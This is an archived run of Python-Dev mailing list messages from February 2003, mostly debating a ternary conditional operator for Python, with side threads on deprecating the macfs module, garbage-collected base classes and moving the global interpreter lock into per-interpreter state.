[Python-Dev] Re: Trinary Operators In-Reply-To: References: <200302062001.h16K1hJ32460@odiug.zope.com> <20030206211828.GC23589@thyrsus.com> Message-ID: <20030206222014.GA23934@thyrsus.com> Andrew Koenig : > Eric> Yeeeouch. And the proposed n-ary form is even worse. > > On the other hand, we already have the problem with list comprehensions: > > [f(i) for i in range(n) if g(i)] > > Here, every evaluation of f(i) is preceded by an evaluation of g(i). Uh...but this is one of the reasons I never liked list comprehensions. -- Eric S. Raymond From ark@research.att.com Thu Feb 6 22:32:01 2003 From: ark@research.att.com (Andrew Koenig) Date: Thu, 6 Feb 2003 17:32:01 -0500 (EST) Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <20030206222014.GA23934@thyrsus.com> (esr@thyrsus.com) References: <200302062001.h16K1hJ32460@odiug.zope.com> <20030206211828.GC23589@thyrsus.com> <20030206222014.GA23934@thyrsus.com> Message-ID: <200302062232.h16MW1Q07374@europa.research.att.com> Eric> Uh...but this is one of the reasons I never liked list Eric> comprehensions. That's a separate issue :-) My point is just that the proposed syntax introduces no NEW problems. From gherron@islandtraining.com Thu Feb 6 22:46:52 2003 From: gherron@islandtraining.com (Gary Herron) Date: Thu, 6 Feb 2003 14:46:52 -0800 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <20030206222014.GA23934@thyrsus.com> References: <200302062001.h16K1hJ32460@odiug.zope.com> <20030206222014.GA23934@thyrsus.com> Message-ID: <200302061446.52972.gherron@islandtraining.com> On Thursday 06 February 2003 02:20 pm, Eric S. Raymond wrote: > Andrew Koenig : > > Eric> Yeeeouch. And the proposed n-ary form is even worse. > > > > On the other hand, we already have the problem with list comprehensions: > > > > [f(i) for i in range(n) if g(i)] > > > > Here, every evaluation of f(i) is preceded by an evaluation of g(i). > > Uh...but this is one of the reasons I never liked list comprehensions. Perhaps because I'm a mathematician, I find the list comprehensions very comfortable. It corresponds quite well with the mathematical notation for defining sets: {2*x | for all x in someSet} In the same way the ternary (and the extended n-ary) form correspond to the usual mathematical notation for defining a function "in pieces": x for x>=0 abs(x) = { -x for x<0 looks like abs_x = (x if x>=0 else -x) (Of course I can't typeset it in email, but perhaps one can imagine the "{" large enough to encompass both lines on the right.) Gary Herron From fdrake@acm.org Thu Feb 6 22:54:58 2003 From: fdrake@acm.org (Fred L. Drake, Jr.) Date: Thu, 6 Feb 2003 17:54:58 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <200302061446.52972.gherron@islandtraining.com> References: <200302062001.h16K1hJ32460@odiug.zope.com> <20030206222014.GA23934@thyrsus.com> <200302061446.52972.gherron@islandtraining.com> Message-ID: <15938.59330.55972.810651@grendel.zope.com> Gary Herron writes: > x for x>=0 > abs(x) = { > -x for x<0 ... > (Of course I can't typeset it in email, but perhaps one can imagine > the "{" large enough to encompass both lines on the right.) / | x for x >= 0 abs(x) = < | -x for x < 0 \ Yeah, I guess it's hopeless. ;-( -Fred -- Fred L. Drake, Jr. PythonLabs at Zope Corporation From tdelaney@avaya.com Thu Feb 6 23:04:57 2003 From: tdelaney@avaya.com (Delaney, Timothy C (Timothy)) Date: Fri, 7 Feb 2003 10:04:57 +1100 Subject: [Python-Dev] Negated hex/oct constants (SF #660455) Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE196638@au3010avexu1.global.avaya.com> > From: Guido van Rossum [mailto:guido@python.org] >=20 > > Given all this, I'm +1 on leaving it as it is, and +1 on making it > > all consistent for 2.4 ... >=20 > -(0xffffffff) to that. :-) You're not supposed to make me laugh out loud (to the point that there = were tears in my eyes) at work - especially not at 10am :) Thanks. Tim Delaney From Jack.Jansen@oratrix.com Thu Feb 6 23:09:46 2003 From: Jack.Jansen@oratrix.com (Jack Jansen) Date: Fri, 7 Feb 2003 00:09:46 +0100 Subject: [Python-Dev] Deprecating modules after 2.3a1? Message-ID: <15807CC0-3A28-11D7-BA8C-000A27B19B96@oratrix.com> Is it okay to deprecate modules at this point in time, i.e. now that 2.3a1 is out with the module not yet deprecated? I want to get rid of the old macfs (mac file system) module, which is a collection of very useful (and widely used) filesystem functionality, but which grew over the years and lacks design. The new Carbon.File and Carbon.Folder modules completely export the underlying Apple APIs, and under the Apple names, so they're also easier to use in the long run (because you can read the Apple documentation). If we could deprecate macfs for 2.3 we could completely get rid of it for 2.4 (which will in all likeliness be MacOSX-only, and the only parts of the core that depend on macfs are MacOS9-only). -- - Jack Jansen http://www.cwi.nl/~jack - - If I can't dance I don't want to be part of your revolution -- Emma Goldman - From esr@thyrsus.com Thu Feb 6 23:10:46 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Thu, 6 Feb 2003 18:10:46 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <200302061446.52972.gherron@islandtraining.com> References: <200302062001.h16K1hJ32460@odiug.zope.com> <20030206222014.GA23934@thyrsus.com> <200302061446.52972.gherron@islandtraining.com> Message-ID: <20030206231046.GA24414@thyrsus.com> Gary Herron : > On Thursday 06 February 2003 02:20 pm, Eric S. Raymond wrote: > > Andrew Koenig : > > > Eric> Yeeeouch. And the proposed n-ary form is even worse. > > > > > > On the other hand, we already have the problem with list comprehensions: > > > > > > [f(i) for i in range(n) if g(i)] > > > > > > Here, every evaluation of f(i) is preceded by an evaluation of g(i). > > > > Uh...but this is one of the reasons I never liked list comprehensions. > > Perhaps because I'm a mathematician, I find the list comprehensions > very comfortable. It corresponds quite well with the mathematical > notation for defining sets: {2*x | for all x in someSet} I used to be a matrhematical logician. This doesn't help me like it any better, I'm afraid. -- Eric S. Raymond From gherron@islandtraining.com Thu Feb 6 23:46:51 2003 From: gherron@islandtraining.com (Gary Herron) Date: Thu, 6 Feb 2003 15:46:51 -0800 Subject: [Python-Dev] Trinary Operators In-Reply-To: <200302061949.h16JnOc32020@odiug.zope.com> References: <20030206043026.GA29482@homer.gst.com> <200302061039.52903.gherron@islandtraining.com> <200302061949.h16JnOc32020@odiug.zope.com> Message-ID: <200302061546.51291.gherron@islandtraining.com> On Thursday 06 February 2003 11:49 am, Guido van Rossum wrote: > > If this is just for fun, why stop with just "trinary"? > > (Which BTW is a non-word; the correct term is "ternary".) > > > How about one of the following (depending on ease of parsing)? > > These look even more like list comprehension. > > > > x = (e1 if c1 e2 if c2 e3 if c3 ... else d) > > Doesn't parse. The concatenation of two expressions is not > always distinguishable from a single expression: consider c1 = f and > c2 = (1, 2). > > > x = (e1 if c1 else e2 if c2 else e3 if c3 ... else d) > > That works. Now that I've had a little more time to thing about it, this suggestion of a n-ary form is nothing more than nested ternary forms with extra parentheses removed: (a1 if c1 else (a2 if c2 else b2)) could be allowed to be written as (a1 if c1 else a2 if c2 else b2) and, if you want: (a1 if c1 else a2 if c2 else b2) Other sub-threads of this thread are discussing how to parse these ternary operators if the parentheses are not required. I think the parentheses *should* be required (see below for why) and so it would be nice to allow this extended form and not require the inner set of parentheses when doing "tail nesting" (to invent a term). BEWARE: UNPYTHONIC UGLINESS FOLLOWS! On the other hand, if the parentheses are NOT required, we get a whole host of *UGLY*, absolutely unreadable, nesting possibilities: a if b else c if d else e <==> (a if b else c) if d else e and even worse a if b if c else d else e <==> a if (b if c else d) else e And what about statements if a if b else c if d else e: f elif g if h if i else j else k: l else: m Of course, any feature can be abused, but this seems *too* abusable. Gary Herron From guido@python.org Fri Feb 7 00:53:31 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 19:53:31 -0500 Subject: [Python-Dev] Deprecating modules after 2.3a1? In-Reply-To: "Your message of Fri, 07 Feb 2003 00:09:46 +0100." <15807CC0-3A28-11D7-BA8C-000A27B19B96@oratrix.com> References: <15807CC0-3A28-11D7-BA8C-000A27B19B96@oratrix.com> Message-ID: <200302070053.h170rVq30355@pcp02138704pcs.reston01.va.comcast.net> > Is it okay to deprecate modules at this point in time, i.e. now that > 2.3a1 is out with the module not yet deprecated? Sure. > I want to get rid of the old macfs (mac file system) module, which is a > collection of very useful (and widely used) filesystem functionality, > but which grew over the years and lacks design. The new Carbon.File and > Carbon.Folder modules completely export the underlying Apple APIs, and > under the Apple names, so they're also easier to use in the long run > (because you can read the Apple documentation). > > If we could deprecate macfs for 2.3 we could completely get rid of it > for 2.4 (which will in all likeliness be MacOSX-only, and the only > parts of the core that depend on macfs are MacOS9-only). +1 --Guido van Rossum (home page: http://www.python.org/~guido/) From whisper@oz.net Fri Feb 7 00:59:36 2003 From: whisper@oz.net (David LeBlanc) Date: Thu, 6 Feb 2003 16:59:36 -0800 Subject: [Python-Dev] Trinary Operators In-Reply-To: <200302061546.51291.gherron@islandtraining.com> Message-ID: Hey, we could even toss in postfix operators! if a = b: print c unless date.day_of_week() == "tuesday" BTW, "trinary" is a word - just not the right one in this context. David LeBlanc Seattle, WA USA From shane.holloway@ieee.org Fri Feb 7 01:09:07 2003 From: shane.holloway@ieee.org (Shane Holloway (IEEE)) Date: Thu, 06 Feb 2003 18:09:07 -0700 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: References: Message-ID: <3E430733.6070300@ieee.org> Gerald S. Williams wrote: > Compare this to the order of evaluation in the current > equivalent (parentheses for clarity only): > (x and y) and 1 or 0 > > or if you prefer: > ((x and y) and [1] or [0])[0] I was thinking that the semantics of "and" & "or" are the replacement for the trinary operator? Since these operations always return the last evaluated subexpression (the same subexpression that short-circuits the evaluation), they can be used as Gerald outlines above. It seems very consistent, logical, and understandable to me; but then again, I love the semantics of list compressions. ;) Thanks, -Shane Holloway From greg@cosc.canterbury.ac.nz Fri Feb 7 01:11:51 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Fri, 07 Feb 2003 14:11:51 +1300 (NZDT) Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: Message-ID: <200302070111.h171Bp827869@oma.cosc.canterbury.ac.nz> Andrew Koenig : > It doesn't bother me that the relative precedence of if/else and > lambda is different on the left and right, The precedence doesn't have to be different on the left and right -- they just need to have the *same* precedence with appropriate associativity. Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From ping@zesty.ca Fri Feb 7 01:38:23 2003 From: ping@zesty.ca (Ka-Ping Yee) Date: Thu, 6 Feb 2003 19:38:23 -0600 (CST) Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <3E430733.6070300@ieee.org> Message-ID: On Thu, 6 Feb 2003, Shane Holloway (IEEE) wrote: > I was thinking that the semantics of "and" & "or" are the replacement > for the trinary operator? Since these operations always return the last > evaluated subexpression (the same subexpression that short-circuits the > evaluation), they can be used as Gerald outlines above. Unfortunately, this doesn't work if the result is false. For example, here's a common idiom i use in C: printf("Read %d file%s.", count, count == 1 ? "" : "s"); If you try to translate this to Python using "and"/"or": print 'Read %d file%s.' % (count, count == 1 and '' or 's') ...it doesn't work, because the empty string is false. Alas... -- ?!ng From mueller-oertel@arcor.de Fri Feb 7 02:01:35 2003 From: mueller-oertel@arcor.de (=?iso-8859-1?Q?M=FCller-Oertel?=) Date: Fri, 7 Feb 2003 03:01:35 +0100 Subject: [Python-Dev] Python and the non-English speaking world Message-ID: <00c601c2ce4c$d999b200$0db607d5@A31> Hi, I am from Berlin, Germany. I would like to know, if this is the right place to discuss an idea I had about how to attract more non-English speaking people to Python. It would involve changes to the python.org website. Marcus From cnetzer@mail.arc.nasa.gov Fri Feb 7 02:01:14 2003 From: cnetzer@mail.arc.nasa.gov (Chad Netzer) Date: 06 Feb 2003 18:01:14 -0800 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: References: Message-ID: <1044583274.636.27.camel@sayge.arc.nasa.gov> On Thu, 2003-02-06 at 17:38, Ka-Ping Yee wrote: > For example, here's a common idiom i use in C: > > printf("Read %d file%s.", count, count == 1 ? "" : "s"); Just for giggles, here is a python version: print "Read %d file%s." % (count, {1:""}.get(count,"s")) Exact same number of characters, even. :) -- Bay Area Python Interest Group - http://www.baypiggies.net/ Chad Netzer (any opinion expressed is my own and not NASA's or my employer's) From aahz@pythoncraft.com Fri Feb 7 02:07:47 2003 From: aahz@pythoncraft.com (Aahz) Date: Thu, 6 Feb 2003 21:07:47 -0500 Subject: [Python-Dev] Python and the non-English speaking world In-Reply-To: <00c601c2ce4c$d999b200$0db607d5@A31> References: <00c601c2ce4c$d999b200$0db607d5@A31> Message-ID: <20030207020747.GA29113@panix.com> On Fri, Feb 07, 2003, M=FCller-Oertel wrote: >=20 > I am from Berlin, Germany. I would like to know, if this is the right p= lace > to discuss an idea I had about how to attract more non-English speaking > people to Python. It would involve changes to the python.org website. No, you should post to comp.lang.python. --=20 Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.= com/ "Argue for your limitations, and sure enough they're yours." --Richard B= ach From tjreedy@udel.edu Fri Feb 7 02:43:40 2003 From: tjreedy@udel.edu (Terry Reedy) Date: Thu, 6 Feb 2003 21:43:40 -0500 Subject: [Python-Dev] Re: Re: Trinary Operators References: <3E430733.6070300@ieee.org> Message-ID: > If you try to translate this to Python using "and"/"or": > > print 'Read %d file%s.' % (count, count == 1 and '' or 's') > > ...it doesn't work, because the empty string is false. Invert the logic and it works fine! print 'Read %d file%s.' % (count, count != 1 and 's' or '') I suspect that careful use of and/or will take care of half of real use cases for ternary (not 'trinary') operators. IE, at least one of the expressions is either a non-null constant, as above, or an expression known to never be null when its condition is true. I am -1 on the proposed if else syntax. To me, if else , as in , would be better since it only inverts the order of 'if' and and not also the . Even better might be a semi-keyword (ie, in this context only) 'then' so we could properly write "if count==1 then '' else 's'". I know several syntaxes have been proposed on various clp ternary-operator threads over the years. Terry J. Reedy From aahz@pythoncraft.com Fri Feb 7 03:46:45 2003 From: aahz@pythoncraft.com (Aahz) Date: Thu, 6 Feb 2003 22:46:45 -0500 Subject: [Python-Dev] Readability vs. Understanding In-Reply-To: <3E4138BD.3010505@lemburg.com> References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com> <3E4138BD.3010505@lemburg.com> Message-ID: <20030207034645.GA18677@panix.com> On Wed, Feb 05, 2003, M.-A. Lemburg wrote: > > Now, we're lucky since meta-classes or writing importers is not > all that easy. With thunks the situation will be much like giving > macros to Python programmers: you'll see a proliferation of new > meta-constructs in all kinds of programs and in the end lose the > maintainability argument which is still one of the strongest ones for > using Python in the first place. That's true only if we permit generalized thunks. I've been pushing for simplified thunks; nevertheless "thunk" is a useful term for the discussions we're having. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From exarkun@intarweb.us Fri Feb 7 07:11:00 2003 From: exarkun@intarweb.us (Jp Calderone) Date: Fri, 7 Feb 2003 02:11:00 -0500 Subject: [Python-Dev] Re: Re: Trinary Operators In-Reply-To: References: <3E430733.6070300@ieee.org> Message-ID: <20030207071100.GA2132@meson.dyndns.org> --GvXjxJ+pjyke8COw Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Feb 06, 2003 at 09:43:40PM -0500, Terry Reedy wrote: >=20 > [snip] >=20 > I suspect that careful use of and/or will take care of half of real > use cases for ternary (not 'trinary') operators. IE, at least one of > the expressions is either a non-null constant, as above, or an > expression known to never be null when its condition is true. A semi-common case I have in my code is this: class Foo: def __init__(self, x =3D None): if x is None: x =3D [] self.x =3D x About half the time, I start to write the body of __init__ as this, though: self.x =3D x is not None and x or [] And then kick myself, for it potentially fails or produces unexpected behavior when something passes [] into the function, and a reference to *that* empty list is kept by the caller. It might be convenient to be able to write: self.x =3D [] if x is None else x So, this is a case where both expressions may evaluate to false, but the identity of which is used as the final result is significant. otoh-I'm-happy-with-the-current-form'ly, Jp --=20 #!/bin/bash ( LIST=3D(~/.netscape/sigs/*.sig) cat ${LIST[$(($RANDOM % ${#LIST[*]}))]} echo --$'\n' `uptime` ) > ~/.netscape/.signature --=20 up 53 days, 11:50, 8 users, load average: 0.13, 0.22, 0.19 --GvXjxJ+pjyke8COw Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.0 (GNU/Linux) iD8DBQE+Q1wEedcO2BJA+4YRAncpAKDT69kGkZvrLGliBp9Jt3mRHujPIQCfcCeO ly1TglRBJbL3pVEx36ZCddg= =xc23 -----END PGP SIGNATURE----- --GvXjxJ+pjyke8COw-- From ji@mit.jyu.fi Fri Feb 7 07:27:34 2003 From: ji@mit.jyu.fi (Jonne Itkonen) Date: Fri, 7 Feb 2003 09:27:34 +0200 (EET) Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: <200302061909.h16J9II29413@odiug.zope.com> Message-ID: On Thu, 6 Feb 2003, Guido van Rossum wrote: > > Alternatively, to GC or not GC could be driven by > > inheritance. I used that in my flextype implementation. > > When a class inherits from no GC-ed anchestors only, > > it doesn't install GC as well. > > That's a fine idea. It would require that there were two standard > base classes: object and gcobject. Or better, object and nogcobject; > I think that GC should still be the default for classes that have any > instance variables at all. Could metaclasses be used instead of inheritance? It's just that I feel quite uncomfortable already with the `inheritance from an object', and now if there'll be two root objects... What would be the relationship between these two objects? Is a gcobject an object, or are they both subclasses of an archobject? Jonne From Jack.Jansen@cwi.nl Fri Feb 7 10:34:00 2003 From: Jack.Jansen@cwi.nl (Jack Jansen) Date: Fri, 7 Feb 2003 11:34:00 +0100 Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X? In-Reply-To: <2mel6mok20.fsf@starship.python.net> Message-ID: On Wednesday, Feb 5, 2003, at 15:53 Europe/Amsterdam, Michael Hudson wrote: >> I think the build worked fine for me back in October (at least I don't >> remember having to execute "make BUILDEXE=.exe". It seems something >> changed >> in the intervening time. > > Hmm. Looking at CVS suggests that 2.2 sets BUILDEXE correctly if you > are building in-tree, but not out of tree. Could that be the > difference? Ah, that's the problem! Building out-of-tree doesn't work on the 2.2.X branch. This was in patch #557719, which was checked in as Makefile.pre.in 1.86. It wasn't backported because the patch does more than only enabling out-of-tree builds, and the rest of the patch can't be backported. -- Jack Jansen, , http://www.cwi.nl/~jack If I can't dance I don't want to be part of your revolution -- Emma Goldman From mwh@python.net Fri Feb 7 10:43:25 2003 From: mwh@python.net (Michael Hudson) Date: Fri, 07 Feb 2003 10:43:25 +0000 Subject: [Python-Dev] Negated hex/oct constants (SF #660455) In-Reply-To: <338366A6D2E2CA4C9DAEAE652E12A1DE196638@au3010avexu1.global.avaya.com> ("Delaney, Timothy C's message of "Fri, 7 Feb 2003 10:04:57 +1100") References: <338366A6D2E2CA4C9DAEAE652E12A1DE196638@au3010avexu1.global.avaya.com> Message-ID: <2mvfzwbcc2.fsf@starship.python.net> "Delaney, Timothy C (Timothy)" writes: >> From: Guido van Rossum [mailto:guido@python.org] >> >> > Given all this, I'm +1 on leaving it as it is, and +1 on making it >> > all consistent for 2.4 ... >> >> -(0xffffffff) to that. :-) > > You're not supposed to make me laugh out loud (to the point that > there were tears in my eyes) at work - especially not at 10am :) I didn't laugh -- I was scared, because I had no idea what he meant. Cheers, M. -- You have run into the classic Dmachine problem: your machine has become occupied by a malevolent spirit. Replacing hardware or software will not fix this - you need an exorcist. -- Tim Bradshaw, comp.lang.lisp From mwh@python.net Fri Feb 7 11:00:11 2003 From: mwh@python.net (Michael Hudson) Date: Fri, 07 Feb 2003 11:00:11 +0000 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: ("Mark McEahern"'s message of "Thu, 6 Feb 2003 13:12:56 -0600") References: Message-ID: <2msmv0bbk4.fsf@starship.python.net> "Mark McEahern" writes: > [Graham Guttocks] >> I don't know what to tell you. I made a mistake with how I phrased >> my original question, and the situation was made worse by people on >> this list making many unfounded assumptions. I was never allowed to >> recover. I think you were also unlucky wrt the time you posted. Python-Dev has been a bit awash with rather blue-skyish discussion recently, and your post managed to hit the "Ye Gods, not this again" button particularly hard. >> I think my post raised some interesting discussion, Yeah, I noticed that. I hope you take it as a good sign that even amongst the angst there was some good stuff. comp.lang.python is good at this, too. [...] >> Frankly, this whole ordeal has left me feeling nauseous, and I'd really >> like to see this cycle of hate just die now. Amen. I am confident this post will have done that. > I hope that you find a way to try again. Python-Dev is a lot more serious > than comp.lang.python. Understandably. It's not surprising that you didn't > know what the atmosphere was like there before you posted. It also changed a fair bit recently. I think it's getting hard to talk about Python's *implementation* in here. (This post is part of the problem, of course). The start of description of python-dev up on m.p.o is: On this list the key Python developers discuss the future of the language and its implementation. So, crazy idea for the morning. Split that sentence up: have one list (probably the existing python-dev) where the future of the language is discussed. Have another (python-implementors) where anything that does not have a short-to-medium term effect on the code in Python CVS is strictly forbidden. Can this be made to work? Or maybe the last month or so has been the exception and this list will just naturally reqcquire some of it's focus. Cheers, Michael (a reformed syntax discusser :-) -- (Unfortunately, while you get Tom Baker saying "then we were attacked by monsters", he doesn't flash and make "neeeeooww-sploot" noises.) -- Gareth Marlow, ucam.chat, from Owen Dunn's review of the year From guido@python.org Fri Feb 7 12:36:04 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 07:36:04 -0500 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: "Your message of Fri, 07 Feb 2003 11:00:11 GMT." <2msmv0bbk4.fsf@starship.python.net> References: <2msmv0bbk4.fsf@starship.python.net> Message-ID: <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net> > So, crazy idea for the morning. Split that sentence up: have one > list (probably the existing python-dev) where the future of the > language is discussed. Have another (python-implementors) where > anything that does not have a short-to-medium term effect on the > code in Python CVS is strictly forbidden. Can this be made to work? > Or maybe the last month or so has been the exception and this list > will just naturally reqcquire some of it's focus. *If* we were to split this up, I'd rather create a new list for wild and crazy ideas. But I'm -0 on splitting -- it wouldn't help *me* because I'd want to be on both lists anyway, and I'm not sure how many others are helped by it either -- I imagine that most people would want to be on both lists. Keeping traffic truly separated would require more policing of the list than I'd feel comfortable with. I'm already uncomfortable with the tone of the messages that are sometimes sent in reply to incidental "inappropriate" postings by first-time posters. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Fri Feb 7 12:42:27 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 07:42:27 -0500 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: "Your message of Fri, 07 Feb 2003 09:27:34 +0200." References: Message-ID: <200302071242.h17CgR900374@pcp02138704pcs.reston01.va.comcast.net> > > > Alternatively, to GC or not GC could be driven by > > > inheritance. I used that in my flextype implementation. > > > When a class inherits from no GC-ed anchestors only, > > > it doesn't install GC as well. > > > > That's a fine idea. It would require that there were two standard > > base classes: object and gcobject. Or better, object and nogcobject; > > I think that GC should still be the default for classes that have any > > instance variables at all. > > Could metaclasses be used instead of inheritance? It's just that I feel > quite uncomfortable already with the `inheritance from an object', and > now if there'll be two root objects... I'd be more uncomfortable with with more use of metaclasses. > What would be the relationship between these two objects? Is a > gcobject an object, or are they both subclasses of an archobject? object (with GC) would be a subclass of nogcobject (the real root root). At the C level, PyBaseObject_Type would become nogcobject and a new name would be chosen for object, maybe PyGCObject_Type. --Guido van Rossum (home page: http://www.python.org/~guido/) From gward@python.net Fri Feb 7 13:09:52 2003 From: gward@python.net (Greg Ward) Date: Fri, 7 Feb 2003 08:09:52 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> Message-ID: <20030207130952.GC10095@cthulhu.gerg.ca> On 06 February 2003, Andrew Koenig said: > Notwithstanding which, I occasionally wish that Python had an > if-then-else operator. > > I personally like the way Algol 68 does it, although I acknowledge > that Python couldn't really do it the same way because Algol 68 > does not distinguish between statements and expressions. Yes! My only experience with Algol 68 was in an undergrad programming language survey course about 10 years ago, and I remember thinking at the time that they really got it right back in '68. I also have a dim recollection of pestering Guido about the statement/expression divide once, and he insisted that it was a feature. I respectfully disagree; I think we're all grown-ups here and we can decide between ourselves when an expression is really a statement. This is one thing that I think C got right (although "if (x = ...)" is an abomination that should, at the very least, generate a stern warning). Greg -- Greg Ward http://www.gerg.ca/ If it can't be expressed in figures, it is not science--it is opinion. From Tobias.Oberstein@gmx.de Fri Feb 7 13:15:42 2003 From: Tobias.Oberstein@gmx.de (Tobias Oberstein) Date: Fri, 7 Feb 2003 14:15:42 +0100 Subject: [Python-Dev] Why is the GIL not in PyInterpreterState? Message-ID: Is there a reason why PyInterpreterState is not defined like so: typedef struct _is { .. PyThread_type_lock interpreter_lock; PyThreadState *_PyThreadState_Current; .. } PyInterpreterState; which could be the basis for support of multiple, separated interpreters within a single process. I'm coming up with this since I need a scripting language embedded in a multithreaded server which scales on SMP machines. I've read through the history of the GIL-issue, and no I can't work around it (other than using TCL, which I want to avoid at all costs). please also see: http://mail.python.org/pipermail/python-list/2003-February/144544.html Would it be so hard to proceed like indicated below? Please help a naive geek. Tobias PyInterpreterState* Py_Initialize_Ex() void Py_Finalize_Ex(PyInterpreterState *interp) PyThreadState* Py_NewInterpreter_Ex(PyInterpreterState *interp) /* unchanged signature */ void Py_EndInterpreter_Ex(PyThreadState *tstate) PyThreadState * PyThreadState_Get(PyInterpreterState *interp) PyObject * PyImport_GetModuleDict(PyThreadState *tstate) int PyRun_SimpleString_Ex(PyThreadState *tstate, char *command) #define Py_BEGIN_ALLOW_THREADS(interp) { \ PyThreadState *_save; \ _save = PyEval_SaveThread_Ex(interp); #define Py_BLOCK_THREADS(interp) PyEval_RestoreThread_Ex(interp,_save); #define Py_UNBLOCK_THREADS(interp) _save = PyEval_SaveThread_Ex(interp); #define Py_END_ALLOW_THREADS(interp) PyEval_RestoreThread_Ex(interp,_save); \ } PyThreadState * PyThreadState_Swap_Ex(PyInterpreterState *interp, PyThreadState *new) { PyThreadState *old = interp->_PyThreadState_Current; _PyThreadState_Current = new; return old; } PyThreadState * PyEval_SaveThread_Ex(PyInterpreterState *interp) { PyThreadState *tstate = PyThreadState_Swap(interp, NULL); if (tstate == NULL) Py_FatalError("PyEval_SaveThread: NULL tstate"); #ifdef WITH_THREAD if (interp->interpreter_lock) PyThread_release_lock(interp->interpreter_lock); #endif return tstate; } .. and so on .. for backward compatibility one could do .. /* essentially the only global to be left .. */ static PyInterpreterState* interp; void Py_Initialize() { interp = Py_Initialize_Ex(); } void Py_Finalize(void) { Py_Finalize_Ex(interp); } PyThreadState * Py_NewInterpreter(void) { return Py_NewInterpreter_Ex(interp); } void Py_EndInterpreter(PyThreadState *tstate) { Py_EndInterpreter_Ex(PyThreadState *tstate) } PyThreadState * PyThreadState_Get(void) { return PyThreadState_Get(interp) } int PyRun_SimpleString(char *command) { return PyRun_SimpleString_Ex(PyThreadState_Get(interp), command); } PyObject * PyImport_GetModuleDict(void) { return PyImport_GetModuleDict(PyThreadState_Get(interp)); } From mhammond@skippinet.com.au Fri Feb 7 13:37:14 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Sat, 8 Feb 2003 00:37:14 +1100 Subject: [Python-Dev] Why is the GIL not in PyInterpreterState? In-Reply-To: Message-ID: <002401c2ceae$07263110$530f8490@eden> > Is there a reason why PyInterpreterState is not defined like so: > > typedef struct _is { > .. > PyThread_type_lock interpreter_lock; > PyThreadState *_PyThreadState_Current; > .. > } PyInterpreterState; I guess it is mainly for historical reasons. > Would it be so hard to proceed like indicated below? > Please help a naive geek. While that sounds reasonable, you are likely to strike a number of other problems. IIRC, you got a couple of replies on c.l.py, including one from Aahz warning that statics in extension modules are likely to be a problem. So my only suggestion is "suck it and see". I would expect that patches to the Python core that "correct" any implementation issues, while retaining full compatibilty, would have a good chance. It sounds reasonable that moving the lock itself into the interpreter state would qualify, but whether that solves your actual problem is anyone's guess. As you can see from these implementation details, you are breaking new ground. It may be worth fully exploring why you think you need multiple interpreter states - if you "simply" need per-thread modules, and are in total control of your environment, there may be other options. Exploration of these other options is more on-topic for comp.lang.python. Unfortunately, you are probably going to have to nut these issues out yourself - time is pretty scarce around here. Mark. From gsw@agere.com Fri Feb 7 14:06:07 2003 From: gsw@agere.com (Gerald S. Williams) Date: Fri, 7 Feb 2003 09:06:07 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <20030207110122.15202.15097.Mailman@mail.python.org> Message-ID: Guido van Rossum wrote: > FAQ entry 4.16 is on how to spell ?: in Python. Maybe it can be > extended with an explanation of *why* it isn't available? Ka-Ping Yee wrote: > Unfortunately, this doesn't work if the result is false. [...] Read FAQ entry 4.16. It covers that case. -Jerry From ark@research.att.com Fri Feb 7 14:40:53 2003 From: ark@research.att.com (Andrew Koenig) Date: 07 Feb 2003 09:40:53 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: <20030207130952.GC10095@cthulhu.gerg.ca> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <20030207130952.GC10095@cthulhu.gerg.ca> Message-ID: Greg> I also have a dim recollection of pestering Guido about the Greg> statement/expression divide once, and he insisted that it was a Greg> feature. I respectfully disagree; I think we're all grown-ups Greg> here and we can decide between ourselves when an expression is Greg> really a statement. This is one thing that I think C got right Greg> (although "if (x = ...)" is an abomination that should, at the Greg> very least, generate a stern warning). Except that C does distinguish between expressions and statements in a way that Algol 68 does not. For example, in C you cannot write if (int sum = 0; for (i = 0; i != n; ++i) sum += x[i]; sum > 0) { // ... } 